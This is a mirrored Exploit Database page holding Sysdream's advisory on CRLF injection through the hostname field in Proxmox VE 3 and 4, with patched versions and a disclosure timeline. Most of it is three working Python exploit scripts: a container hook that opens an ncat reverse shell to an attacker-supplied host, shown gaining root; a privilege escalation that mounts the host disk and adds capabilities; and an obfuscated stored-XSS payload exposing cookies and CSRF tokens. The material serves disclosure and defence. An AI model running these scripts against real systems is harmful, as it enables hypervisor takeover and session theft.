Proxmox VE 3/4 – Insecure Hostname Checking Remote Command Execution

• Exploit Database
• 17 阅读

• 作者： Sysdream
  日期： 2016-02-26
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39499/

• =====================================================================
  Proxmox VE 3/4 Insecure Hostname Checking (Remote Root Exploit, XSS,
  Privileges escalation)
  =====================================================================
  
  Description
  ===========
  
  Proxmox is a popular virtualization solution based on KVM and Linux
  containers.
  
  A critical vulnerability has been found in Proxmox VE 3 (OpenVZ) and
  Proxmox VE 4 beta 1 (LXC) in the
  virtual machine creating form allowing authenticated remote users to
  overwrite configuration files settings.
  
  
  Configuration file overwriting
  ==============================
  
  Because the Proxmox VE application doesn't check the
  user-provided "hostname" POST parameter, it's
  possible to overwrite configuration files using a CRLF injection.
  In Proxmox VE 3, we successfully gained access to the host filesystem
  from a container and elevated our container capabilities, allowing us to
  obtain user credentials and sniff the network.
  In Proxmox VE 4b1, because LXC allows "hooks" to execute commands, we
  successfully gained root privileges on the host.
  It's also possible to exploit Proxmox clusters.
  
  **Access Vector**: remote
  
  **Security Risk**: high
  
  **Vulnerability**: CWE-915
  
  Proof of Concept
  ----------------
  
  The following exploit works for Proxmox VE 4 beta 1. The
  lxc.hook.pre-start configuration variable is used to trigger the ncat
  reverse-shell payload when the container is started.
  
  #!/usr/bin/env python
  
  import requests
  import socket
  import telnetlib
  from threading import Thread
  import argparse
  from time import sleep
  
  def exploit(target, username, password, vmid, template, realm,
  reverse, hostname):
  payload = "ncat %s %s -e /bin/sh" % reverse
  
  print "[~] Obtaining authorization key..."
  apireq = requests.post("https://%s/api2/extjs/access/ticket" %
  target,
   verify=False,
   data={"username": username,
   "password": password,
   "realm": realm})
  response = apireq.json()
  if "success" in response and response["success"]:
  print "[+] Authentication success."
  ticket = response["data"]["ticket"]
  csrfticket = response["data"]["CSRFPreventionToken"]
  createvm =
  requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
   verify=False,
   headers={"CSRFPreventionToken":
  csrfticket},
   cookies={"PVEAuthCookie": ticket},
   data={"vmid": vmid,
  
  "hostname":"sysdream\nlxc.hook.pre-start=%s &&" % payload,
   "storage": "local",
   "password": "sysdream",
   "ostemplate": template,
   "memory": 512,
   "swap": 512,
   "disk": 2,
   "cpulimit": 1,
   "cpuunits": 1024,
   "net0":"name=eth0"})
  if createvm.status_code == 200:
  response = createvm.json()
  if "success" in response and response["success"]:
  print "[+] Container Created... (Sleeping 20 seconds)"
  sleep(20)
  print "[+] Starting container..."
  startcontainer =
  requests.post("https://%s/api2/extjs/nodes/%s/lxc/%s/status/start" %
  (target, hostname, vmid), verify=False, headers={"CSRFPreventionToken":
  csrfticket}, cookies={"PVEAuthCookie": ticket})
  if startcontainer.status_code == 200:
  response = startcontainer.json()
  if "success" in response and response["success"]:
  print "[+] Exploit should be working..."
  else:
  print "[!] Can't start container ! Try to
  start it manually."
  else:
  print "[!] Error creating container..."
  print response
  else:
  print "[!] Error creating Container. Bad HTTP Status
  code : %d" % createvm.status_code
  else:
  print "[!] Authentication failed - Check the credentials..."
  
  def handler(lport):
  print "[~] Starting handler on port %d" % lport
  t = telnetlib.Telnet()
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind(("0.0.0.0", lport))
  s.listen(1)
  conn, addr = s.accept()
  
  print "[+] Connection from %s" % addr[0]
  
  t.sock = conn
  
  print "[+] Pop the shell ! :)"
  
  t.interact()
  
  if __name__ == "__main__":
  print "[~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas
  Chatelain <n.chatelain[at]sysdream.com>\n"
  
  parser = argparse.ArgumentParser()
  parser.add_argument("--target", required=True, help="The target
  host (eg : 10.0.0.1:8006)")
  
  parser.add_argument("--username", required=True)
  parser.add_argument("--password", required=True)
  
  parser.add_argument("--localhost", required=True, help="Local
  host IP for the connect-back shell.")
  parser.add_argument("--localport", required=True, type=int,
  help="Local port for local bind handler")
  
  parser.add_argument("--vmid", required=False, default="999",
  type=int, help="A unique ID for the container, exploit will fail if the
  ID already exists.")
  
  parser.add_argument("--template", required=False,
  default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
  help="An existing template in the hypervisor "
   "(default :
  local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")
  
  parser.add_argument("--realm", required=False, default="pam",
  choices=["pve", "pam"])
  
  parser.add_argument("--hostname", required=True, help="The
  target hostname")
  
  args = parser.parse_args()
  
  handlerthr = Thread(target=handler, args=(args.localport,))
  handlerthr.start()
  
  exploitthr = Thread(target=exploit, args=(args.target,
  args.username, args.password, args.vmid, args.template, args.realm,
  (args.localhost, args.localport), args.hostname))
  exploitthr.start()
  
  handlerthr.join()
  
  Shell output :
  
  nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python
  remoteroot.py --target 10.25.0.101:8006 --username nicolas --password
  pveuser --localhost 10.25.0.10 --localport 9999 --vmid 456 --realm pve
  --hostname pve4
  [~] Proxmox VE 4.0b1 Authenticated Root Exploit - Nicolas Chatelain
  <n.chatelain[at]sysdream.com>
  [~] Starting handler on port 9999
  [~] Obtaining authorization key...
  [+] Authentication success.
  [+] Container Created... (Sleeping 20 seconds)
  [+] Exploit should be working...
  [+] Connection from 10.25.0.101
  [+] Pop the shell !
  whoami
  root
  id
  uid=0(root) gid=0(root) groups=0(root)
  
  The following exploit works for Proxmox VE 3. This proof of concept
  mount the host /dev/dm-0 on the container and add multiples capabilities
  on the container.
  
  
  #!/usr/bin/env python
  
  import requests
  import socket
  import telnetlib
  from threading import Thread
  import argparse
  
  def exploit(target, username, password, vmid, template, realm,
  hostname):
  payload = "sysdream\"\nDEVNODES=\"dm-0:r
  \"\nCAPABILITIES=\"mknod:on, sys_chroot:on, sys_rawio: on, net_admin:on,
  dac_override:on\"\n#"
  print "[~] Obtaining authorization key..."
  apireq = requests.post("https://%s/api2/extjs/access/ticket" %
  target,
   verify=False,
   data={"username": username,
   "password": password,
   "realm": realm})
  response = apireq.json()
  if "success" in response and response["success"]:
  print "[+] Authentication success."
  ticket = response["data"]["ticket"]
  csrfticket = response["data"]["CSRFPreventionToken"]
  createvm =
  requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
   verify=False,
   headers={"CSRFPreventionToken":
  csrfticket},
   cookies={"PVEAuthCookie": ticket},
   data={"vmid": vmid,
   "hostname": payload,
   "storage": "local",
   "password": "sysdream",
   "ostemplate": template,
   "memory": 512,
   "swap": 512,
   "disk": 2,
   "cpus": 1,
  
  "netif":"ifname=eth0,bridge=vmbr0"})
  if createvm.status_code == 200:
  response = createvm.json()
  if "success" in response and response["success"]:
  print "[+] Countainer (Capabilities + DM-0 Mount)
  Created."
  else:
  print "[!] Error creating container..."
  print response
  else:
  print "[!] Error creating Container. Bad HTTP Status
  code : %d" % createvm.status_code
  else:
  print "[!] Authentication failed - Check the credentials..."
  
  if __name__ == "__main__":
  print "[~] Proxmox VE 3 Authenticated Privileges Escalation
  Exploit - Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"
  
  parser = argparse.ArgumentParser()
  parser.add_argument("--target", required=True, help="The target
  host (eg : 10.0.0.1:8006)")
  
  parser.add_argument("--username", required=True)
  parser.add_argument("--password", required=True)
  
  parser.add_argument("--vmid", required=False, default="999",
  type=int, help="A unique ID for the container, exploit will fail if the
  ID already exists.")
  
  parser.add_argument("--template", required=False,
  default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
  help="An existing template in the hypervisor
  (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")
  
  parser.add_argument("--hostname", required=True, help="The
  target hostname")
  
  parser.add_argument("--realm", required=False, default="pam",
  choices=["pve", "pam"])
  
  args = parser.parse_args()
  
  exploit(args.target, args.username, args.password, args.vmid,
  args.template, args.realm, args.hostname)
  
  Shell output :
  
  nightlydev@nworkstation ~/Lab/Proxmox_Exploits $ python
  privescalation.py --username root --password sysofdream --vmid 123
  --realm pam --target 10.25.0.110:8006 --hostname pve3
  [~] Proxmox VE 3 Authenticated Privileges Escalation Exploit -
  Nicolas Chatelain <n.chatelain[at]sysdream.com>
  
  [~] Obtaining authorization key...
  [+] Authentication success.
  [+] Countainer (Capabilities + DM-0 Mount) Created.
  
  -- On container :
  
  root@sysdream:/# ls -lah /dev/dm-0
  brw-r----T 1 root root 253, 0 Aug 23 00:33 /dev/dm-0
  
  ---
  Stored Cross-Site Scripting
  ===========================
  
  Same vulnerability, different usage. Works on Proxmox 3 and Proxmox 4b1.
  
  **Access Vector**: remote
  
  **Security Risk**: high
  
  
  Proof of Concept
  ----------------
  
  The following exploit will create a stored XSS displaying the user
  cookies and the PVE CSRFPreventionToken.
  
  
  #!/usr/bin/env python
  
  import requests
  import socket
  import telnetlib
  from threading import Thread
  import argparse
  
  def exploit(target, username, password, vmid, template, realm,
  version, hostname):
  payload =
  "eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,45,34,32,43,32,80,86,69,46,67,83,82,70,80,114,101,118,101,110,116,105,111,110,84,111,107,101,110,41,59))"
  print "[~] Obtaining authorization key..."
  apireq = requests.post("https://%s/api2/extjs/access/ticket" %
  target,
   verify=False,
   data={"username": username,
   "password": password,
   "realm": realm})
  response = apireq.json()
  if "success" in response and response["success"]:
  print "[+] Authentication success."
  ticket = response["data"]["ticket"]
  csrfticket = response["data"]["CSRFPreventionToken"]
  if version == "4":
  createvm =
  requests.post("https://%s/api2/extjs/nodes/%s/lxc" % (target, hostname),
   verify=False,
   headers={"CSRFPreventionToken":
  csrfticket},
   cookies={"PVEAuthCookie": ticket},
   data={"vmid": vmid,
  
  "hostname":"<img/src='https://www.exploit-db.com/exploits/39499/x'/onerror=%s>" % payload,
   "storage": "local",
   "password": "sysdream",
   "ostemplate": template,
   "memory": 512,
   "swap": 512,
   "disk": 2,
   "cpulimit": 1,
   "cpuunits": 1024,
   "net0":"name=eth0"})
  elif version == "3":
   createvm =
  requests.post("https://%s/api2/extjs/nodes/%s/openvz" % (target, hostname),
   verify=False,
  headers={"CSRFPreventionToken": csrfticket},
   cookies={"PVEAuthCookie": ticket},
   data={"vmid": vmid,
  
  "hostname":"<img/src='https://www.exploit-db.com/exploits/39499/x'/onerror=%s>" % payload,
   "storage": "local",
   "password": "sysdream",
   "ostemplate": template,
   "memory": 512,
   "swap": 512,
   "disk": 2,
   "cpus": 1,
  
  "netif":"ifname=eth0,bridge=vmbr0"})
  if createvm.status_code == 200:
  response = createvm.json()
  if "success" in response and response["success"]:
  print "[+] Stored XSS Created."
  else:
  print "[!] Error creating container..."
  print response
  else:
  print "[!] Error creating Container. Bad HTTP Status
  code : %d" % createvm.status_code
  else:
  print "[!] Authentication failed - Check the credentials..."
  
  if __name__ == "__main__":
  print "[~] Proxmox VE 3/4b1 Stored Cross Site Scripting -
  Nicolas Chatelain <n.chatelain[at]sysdream.com>\n"
  
  parser = argparse.ArgumentParser()
  parser.add_argument("--target", required=True, help="The target
  host (eg : 10.0.0.1:8006)")
  
  parser.add_argument("--username", required=True)
  parser.add_argument("--password", required=True)
  
  parser.add_argument("--vmid", required=False, default="999",
  type=int, help="A unique ID for the container, exploit will fail if the
  ID already exists.")
  
  parser.add_argument("--template", required=False,
  default="local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz",
  help="An existing template in the hypervisor
  (default : local:vztmpl/debian-7.0-standard_7.0-2_i386.tar.gz)")
  
  parser.add_argument("--realm", required=False, default="pam",
  choices=["pve", "pam"])
  
  parser.add_argument("--version", default="3", choices=["3",
  "4"], help="The Proxmox version to exploit")
  
  parser.add_argument("--hostname", required=True, help="The
  target hostname")
  
  args = parser.parse_args()
  
  exploit(args.target, args.username, args.password, args.vmid,
  args.template, args.realm, args.version, args.hostname)
  
  ---------------
  Vulnerable code
  ---------------
  
  The vulnerable code is located in the /usr/share/perl5/PVE/LXC.pm for
  Proxmox 4.
  
  For Proxmox 3, the vulnerable code is located in
  /usr/share/perl5/PVE/OpenVZ.pm.
  
  --------
  Solution
  --------
  
  Proxmox 4 : Update to pve-container 0.9-22
  
  Proxmox 3 : Update to pve-manager 3.4-10
  
  Timeline (dd/mm/yyyy)
  =====================
  
  04/09/2015 : Initial discovery.
  17/09/2015 : Contact with proxmox team.
  18/09/2015 : Proxmox fixes the vulnerabilities.
  18/09/2015 : Proxmox releases a new pve-container version (0.9-22)
  18/09/2015 : Proxmox releases a new pve-manager version (3.4-10)
  
  Affected versions
  =================
  
  * Proxmox VE 4
  * Proxmox VE 3
  
  
  Credits
  =======
  
  * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)